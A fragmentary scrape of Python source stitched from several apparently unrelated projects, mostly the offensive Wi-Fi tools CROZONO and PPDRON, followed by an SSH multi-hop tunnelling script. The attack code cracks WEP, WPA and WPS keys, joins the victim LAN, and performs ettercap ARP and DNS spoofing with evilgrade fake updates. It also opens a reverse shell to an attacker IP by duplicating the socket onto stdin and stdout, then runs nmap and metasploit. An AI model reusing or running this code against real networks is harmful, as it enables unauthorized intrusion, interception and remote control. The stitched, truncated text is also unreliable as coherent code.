'/etc/ettercap/etter.dns']) etter_template = open(OS_PATH + '/evilgrade/etter.dns.template', 'r') etter_dns = open(OS_PATH + '/evilgrade/etter.dns', 'w') for line in etter_template: line = line.replace('IP', ip_lan) etter_dns.write(line) etter_dns.close() etter_template.close() call(['mv', './evilgrade/etter.dns', '/etc/ettercap/etter.dns']) evilgrade = pexpect.spawn('evilgrade') evilgrade.expect('evilgrade>') evilgrade.sendline('configure ' + plugin) evilgrade.sendline('set agent ' + agent) evilgrade.sendline('start') time.sleep(1) iface = get_ifaces()[0] gateway = get_gateway().strip() target_mitm = get_target_mitm(gateway, ip_lan) cmd_ettercap = pexpect.spawn( 'ettercap -T -M arp:remote /{g}/ /{m}/ -i {i} -P dns_spoof'.format( g=gateway, m=target_mitm, i=iface)) time.sleep(EVILGRADE_ATTACK_TIME) elif attack == 'metasploit': info("Executing Metasploit...") proc = subprocess.call(["msfconsole"], stderr=DN) else: warn("Attack not defined!") s.shutdown(1) info("CROZONO has finished! Good bye! ;)")
def main(): banner() if not checks.check_root(): error('You need root privileges to run CROZONO!\n') exit(1) if not checks.check_wlan_attacks_dependencies(): exit(1) args = parse_args() info("CROZONO running...") settings.OS_PATH = os.getcwd() settings.INTERFACE = args.interface if args.interface is not None else settings.INTERFACE settings.INTERFACE = device_mgr.get_ifaces()[0] if settings.INTERFACE is None else settings.INTERFACE settings.TARGET_ESSID = args.essid if args.essid is not None else settings.TARGET_ESSID settings.TARGET_KEY = args.key if args.key is not None else settings.TARGET_KEY settings.IP_ATTACKER = args.dest if args.dest is not None else settings.IP_ATTACKER settings.ATTACK = args.attack if args.attack is not None else settings.ATTACK if settings.TARGET_ESSID is not None: if settings.TARGET_KEY is not None: ap_target = None lan_mgr.connect_to_lan() else: device_mgr.hardware_setup() ap_target = airodump.scan_targets() else: device_mgr.hardware_setup() ap_target = airodump.scan_targets() # -------------------- Infiltrate wifi -------------------- if ap_target is not None: settings.TARGET_ESSID = ap_target.get('ESSID').strip() settings.TARGET_BSSID = ap_target.get('BSSID').strip() settings.TARGET_CHANNEL = ap_target.get('channel').strip() settings.TARGET_PRIVACY = ap_target.get('Privacy').strip() info("Target selected: " + settings.TARGET_ESSID) if settings.TARGET_PRIVACY == 'WEP': from src.attacks import wep_attack info("Cracking {e} access point with WEP privacy...".format(e=settings.TARGET_ESSID)) wep_attack.run() if settings.TARGET_KEY is None: error("Key not found! :(") exit() else: info("Key found!: {k} ".format(k=settings.TARGET_KEY)) lan_mgr.save_key() lan_mgr.connect_to_lan() elif settings.TARGET_PRIVACY == 'WPA' or settings.TARGET_PRIVACY == 'WPA2' or settings.TARGET_PRIVACY == 'WPA2 WPA': from src.attacks import wpa_attack,wps_attack info("Cracking {e} access point with {p} privacy...".format(e=settings.TARGET_ESSID, p=settings.TARGET_PRIVACY)) wps = wps_attack.check() if wps: info("WPS is enabled") wps_attack.pixiedust() if settings.TARGET_KEY is None: warn("PIN not found! Trying with conventional WPA attack...") wpa_attack.run() else: warn("WPS is not enabled") wpa_attack.run() if settings.TARGET_KEY is None: error("Key not found! :(") exit(1) else: info("Key found!: {k} ".format(k=settings.TARGET_KEY)) lan_mgr.save_key() lan_mgr.connect_to_lan() else: info("Open network!") lan_mgr.connect_to_lan() # -------------------- Acquired LAN range ----------------------------------------- lan_mgr.lan_range() lan_mgr.get_gateway() # -------------------- Connect to attacker and relay NMap info -------------------- if os.path.exists(settings.OS_PATH + '/cr0z0n0_nmap'): os.remove(settings.OS_PATH + '/cr0z0n0_nmap') if not checks.check_lan_attacks_dependencies(): exit(1) if settings.IP_ATTACKER is not None: info("Sending information about network to attacker ({ip}) and running attacks...".format(ip=settings.IP_ATTACKER)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((settings.IP_ATTACKER, settings.PORT_ATTACKER)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) banner() info("Hello! :)") info("Executing Nmap...") subprocess.call(['nmap', '-O', '-sV', '-oN', 'cr0z0n0_nmap', '--exclude', settings.IP_LAN, settings.LAN_RANGE], stderr=subprocess.DEVNULL) else: warn("Attacker not defined! Ending up...") exit() # -------------------- Attacks -------------------- if settings.ATTACK == 'sniffing-mitm': from src.attacks import sniffing_mitm sniffing_mitm.run() elif settings.ATTACK == 'metasploit': from src.attacks import metasploit metasploit.run() else: warn("Attack not defined!") s.shutdown(1) info("CROZONO has finished! Good bye! ;)")
def check_lan_attacks_dependencies(): for d in lan_deps: if subprocess.call(["which", d],stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0: error("Required binary for {bin} not found. Refer to the INSTALL document for requirements for running CROZONO.".format(bin=d)) return False return True
def main(): banner() report.initLog() report.initReport() if not checks.check_root(): error('You need root privileges to run PPDRON!\n') report.saveLog('You need root privileges to run PPDRON!\n') generateReport() exit(1) if not checks.check_wlan_tools_dependencies(): generateReport() exit(1) args = parse_args() settings.OS_PATH = os.getcwd() settings.INTERFACE = args.interface if args.interface is not None else settings.INTERFACE settings.INTERFACE = device_mgr.get_ifaces( )[0] if settings.INTERFACE is None else settings.INTERFACE settings.DELAY = args.delay if args.delay is not None else settings.DELAY settings.TARGET_ESSID = args.essid if args.essid is not None else settings.TARGET_ESSID settings.TARGET_KEY = args.key if args.key is not None else settings.TARGET_KEY delay = float(settings.DELAY) * 60 time.sleep(delay) report.saveLog('PPDRON running...') info('PPDRON running...') if settings.TARGET_ESSID is not None: if settings.TARGET_KEY is not None: ap_target = None else: device_mgr.hardware_setup() ap_target = airodump.scan_targets() else: device_mgr.hardware_setup() ap_target = airodump.scan_targets() # -------------------- Infiltrate wifi ------------------------------------------------ if ap_target is not None: settings.TARGET_ESSID = ap_target.get('ESSID').strip() settings.TARGET_BSSID = ap_target.get('BSSID').strip() settings.TARGET_CHANNEL = ap_target.get('channel').strip() settings.TARGET_PRIVACY = ap_target.get('Privacy').strip() info('Target selected: ' + settings.TARGET_ESSID + ' Channel: ' + settings.TARGET_CHANNEL + ' Privacy: ' + settings.TARGET_PRIVACY) report.saveLog('Target selected: ' + settings.TARGET_ESSID + ' Channel: ' + settings.TARGET_CHANNEL + ' Privacy: ' + settings.TARGET_PRIVACY) if settings.TARGET_PRIVACY == 'WEP': report.TARGET_ATTACK = 'Fuerza bruta' info('Cracking {e} access point with WEP privacy...'.format( e=settings.TARGET_ESSID)) report.saveLog( 'Cracking {e} access point with WEP privacy...'.format( e=settings.TARGET_ESSID)) wep_modules = find_modules('wep') for wep_module in wep_modules: attack = import_module(wep_module[0]) if attack.check(): attack.setup() attack.run() if settings.TARGET_KEY is not None: info('Key found!: {k} '.format(k=settings.TARGET_KEY)) report.saveLog( 'Key found!: {k} '.format(k=settings.TARGET_KEY)) lan_mgr.save_key() break else: pass if settings.TARGET_KEY is None: error('Key not found! :-(') report.saveLog( 'Key found!: {k} '.format(k=settings.TARGET_KEY)) generateReport() exit(0) elif settings.TARGET_PRIVACY == 'WPA' or settings.TARGET_PRIVACY == 'WPA2' or settings.TARGET_PRIVACY == 'WPA2WPA' or settings.TARGET_PRIVACY == 'WPA2 WPA': info('Cracking {e} access point with {p} privacy...'.format( e=settings.TARGET_ESSID, p=settings.TARGET_PRIVACY)) report.saveLog( 'Cracking {e} access point with {p} privacy...'.format( e=settings.TARGET_ESSID, p=settings.TARGET_PRIVACY)) wps = wash.wash_scan() if wps: info('WPS is enabled') report.saveLog('WPS is enabled') wps_modules = find_modules('wps') for wps_module in wps_modules: attack = import_module(wps_module[0]) if attack.check(): attack.setup() attack.run() if settings.TARGET_KEY is not None: report.TARGET_ATTACK = 'Ataque al WPS' info('Key found!: {k} '.format( k=settings.TARGET_KEY)) report.saveLog('Key found!: {k} '.format( k=settings.TARGET_KEY)) break else: pass if settings.TARGET_KEY is None: if wps: warn( 'PIN not found! :-( Running WPA/WPA2 attack modules...' ) report.saveLog( 'PIN not found! :-( Running WPA/WPA2 attack modules...' ) wpa_modules = find_modules('wpa') for wpa_module in wpa_modules: attack = import_module(wpa_module[0]) if attack.check(): attack.setup() attack.run() if settings.TARGET_KEY is not None: info('Key found!: {k} '.format( k=settings.TARGET_KEY)) report.saveLog('Key found!: {k} '.format( k=settings.TARGET_KEY)) report.TARGET_ATTACK = 'Ataque de diccionario' break else: pass if settings.TARGET_KEY is None: # still... error('Key not found! :-(') report.saveLog('Key not found! :-(') generateReport() exit(0) else: lan_mgr.save_key() else: info('Open network!') report.saveLog('Open network!') report.TARGET_ATTACK = 'Ninguno' info('PPDRON has finished! Good bye! ;)') report.saveLog('PPDRON has finished! Good bye! ;)') generateReport()
def connect(essid, key, iface_mon=None): import fcntl import struct sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) tries = 0 iface = get_ifaces()[0] def do_connect(): nonlocal sock nonlocal tries info("Connecting to '{0}' with key '{1}'".format( essid, key if key is not None else '')) if iface_mon is not None: call(['airmon-ng', 'stop', iface_mon], stdout=DN, stderr=DN) time.sleep(1) # TODO: Necessary? - yep for Raspbian. cmd_connect = pexpect.spawn( 'iwconfig {0} essid "{1}" key s:{2}'.format(iface, essid, key)) cmd_connect.logfile = open(LOG_FILE, 'wb') cmd_connect.expect(['Error', pexpect.TIMEOUT, pexpect.EOF], 3) cmd_connect.close() parse_log_connect = open(LOG_FILE, 'r') for line in parse_log_connect: if line.find('Error') != -1: wpa_supplicant = open( '/etc/wpa_supplicant/wpa_supplicant.conf', 'w') wpa_supplicant.write( 'ctrl_interface=/var/run/wpa_supplicant\n') wpa_supplicant.write('network={\n') wpa_supplicant.write('ssid="' + essid + '"\n') wpa_supplicant.write( 'key_mgmt=WPA-PSK\n' ) # TODO: Always wpa-psk? - No problem yet. wpa_supplicant.write('psk="' + key.strip() + '"\n') wpa_supplicant.write('}') wpa_supplicant.close() call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN) call(['dhclient', iface, '-r'], stdout=DN, stderr=DN) call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN) call(['iwconfig', iface, 'mode', 'managed']) call(['killall', 'wpa_supplicant'], stdout=DN, stderr=DN) call([ 'wpa_supplicant', '-B', '-c', '/etc/wpa_supplicant/wpa_supplicant.conf', '-i', iface ], stdout=DN, stderr=DN) time.sleep(2) parse_log_connect.close() os.remove(LOG_FILE) tries += 1 call(['dhclient', iface], stdout=DN, stderr=DN) time.sleep(4) do_connect() if get_current_essid(iface) != essid and tries < 5: warn('Connection to {e} failed. Retrying.'.format(e=essid)) do_connect() if get_current_essid(iface) == essid: ipaddr = socket.inet_ntoa( fcntl.ioctl(sock.fileno(), 0x8915, struct.pack('256s', bytes(iface[:15], 'utf-8')))[20:24]) info('Connection to {e} succeeded! Our IP is: {i}'.format(e=essid, i=ipaddr)) return ipaddr else: error( 'Could not connect to {e} after 5 tries. Aborting'.format(e=essid)) exit(1)
def connect_with_password(host, user, password, ports): global session log.info('Connecting to {} using password'.format(host)) cmd = 'ssh -L {ports} {usr}@{host}'.format(ports=' -L '.join(ports), usr=user, host=host) if session is None: session = pexpect.spawnu(cmd, encoding='UTF-8') set_up_logging() else: session.sendline(cmd) try: res = session.expect(get_expectations()) except pexpect.TIMEOUT: # Ew, but I prefer to handle stuff below, all in the same place print('GOING THROUGH EXCEPT') res = 6 if res == 0: session.waitnoecho() session.sendline(password) elif res == 1: if verify_logged_in(): log.info('Password not needed') return session.pid else: res = 4 elif res == 2: session.sendline('yes') session.expect(expectations.get('PASSWORD_REQUIRED')) log.info('Added Public Key for {} to known_hosts'.format(host)) session.sendline(password) elif res == 3: log.error('Wrong password for {}! Aborting.'.format(host)) exit(1) elif res == 4: log.error('Host {} is unreachable. Aborting.'.format(host)) exit(1) res = session.expect(get_expectations(), timeout=10) if res in (0, 2) else 4 if res in (1, 6): if verify_logged_in(): log.info('Connected to {}'.format(host)) return session.pid else: log.error('Error while connecting to {}. Aborting.'.format(host)) exit(1) elif res == 3: # In case we had to add the PK to known_hosts log.error('Wrong password for host {}! Aborting.'.format(host)) exit(1) else: log.error('Error while connecting to {}. Aborting.'.format(host)) log.error('Either run with logging activated, or SSH manually!') exit(1)
def main(): global session global logging global disconnection_timeout c = args.config log.info('Using: {}'.format(os.path.join(os.path.dirname(os.path.abspath(c)), c))) with open(c) as f: config = yaml.load(f) logging = config.get('logging') tunnels = config.get('tunnels') all_tunnels = [] [all_tunnels.append(Tunnel(t)) for t in tunnels] hops = config.get('hops') for i, hop in enumerate(hops): pid_stack = [] key = list(hop.keys())[0] h = hop[key] hop = Hop(key, h, i) tunnels = [] if hop.key_auth: if hop.index == len(hops) - 1: [tunnels.append(each.mapping) for each in all_tunnels] else: for tun in all_tunnels: tunnels.append(tun.get_localhost_mapping()) p = connect_with_key(hop.host, hop.user, hop.auth, tunnels) pid_stack.append(p) else: if hop.index == len(hops) - 1: [tunnels.append(each.mapping) for each in all_tunnels] else: for tun in all_tunnels: tunnels.append(tun.get_localhost_mapping()) p = connect_with_password(hop.host, hop.user, hop.auth, tunnels) pid_stack.append(p) session.sendline('while [ 1=1 ]; do echo \'keepalive\' ; sleep 3 ; done') log.info('Tunneling done:') [log.info(t) for t in all_tunnels] # TODO: Watch for broken pipe? try: input("Press ENTER to disconnect") print() except KeyboardInterrupt: log.error('Getting out of here!') disconnection_timeout = 0 for h in reversed(hops): alias = list(h.keys())[0] log.info("Disconnecting from {}".format(alias)) try: r = logout(disconnection_timeout) except KeyboardInterrupt: log.warn("Hurrying up.") r = None disconnection_timeout = 0 if r: log.info('Disconnected') else: log.warn('Connection forcefully closed') try: os.kill(pid_stack[0], signal.SIGKILL) log.warn('Killed off remaining SSH process') except ProcessLookupError: pass log.info('Done')